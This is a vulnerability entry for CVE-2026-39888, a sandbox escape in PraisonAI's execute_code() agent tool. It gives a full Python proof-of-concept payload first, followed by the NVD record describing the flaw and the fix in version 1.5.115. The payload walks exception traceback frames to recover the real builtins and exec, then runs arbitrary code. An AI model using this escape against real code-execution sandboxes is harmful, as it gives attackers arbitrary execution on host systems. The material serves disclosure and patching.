CVE-2026-39888

# PoC for CVE-2026-39888: PraisonAI Sandbox Escape # This code demonstrates how to bypass the incomplete AST blocklist # to retrieve the real builtins and execute arbitrary code. malicious_payload = """ try: # Trigger an exception to access traceback object raise Exception("trigger"); except Exception as e: # Traverse the frame chain to escape the sandbox # Access the traceback, then the frame, then the caller's frame tb = e.__traceback__ frame = tb.tb_frame caller_frame = frame.f_back # Access the real __builtins__ dictionary of the wrapper real_builtins = caller_frame.f_builtins # Retrieve the 'exec' function from the real builtins exec_func = real_builtins['exec'] # Execute arbitrary Python code (e.g., importing os module) exploit_code = "import os; print('Sandbox Bypassed! PWD: ' + os.getcwd())" exec_func(exploit_code) """ # In a real scenario, this string would be sent to the vulnerable execute_code() function print(f"Payload to inject: {malicious_payload}")

{"cve": {"id": "CVE-2026-39888", "sourceIdentifier": "[email protected]", "published": "2026-04-08T21:17:00.990", "lastModified": "2026-04-15T18:02:58.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PraisonAI is a multi-agent teams system. Prior to 1.5.115, execute_code() in praisonaiagents.tools.python_tools defaults to sandbox_mode=\"sandbox\", which runs user code in a subprocess wrapped with a restricted __builtins__ dict and an AST-based blocklist. The AST blocklist embedded inside the subprocess wrapper (blocked_attrs of python_tools.py) contains only 11 attribute names — a strict subset of the 30+ names blocked in the direct-execution path. The four attributes that form a frame-traversal chain out of the sandbox are all absent from the subprocess list (__traceback__, tb_frame, f_back, and f_builtins). Chaining these attributes through a caught exception exposes the real Python builtins dict of the subprocess wrapper frame, from which exec can be retrieved and called under a non-blocked variable name — bypassing every remaining security layer. This vulnerability is fixed in 1.5.115."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-657"}, {"lang": "en", "value": "CWE-693"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.115", "matchCriteriaId": "34CC1B67-7607-48E7-BDB4-18F2E011807B"}]}]}], "references": [{"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qf73-2hrx-xprp", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}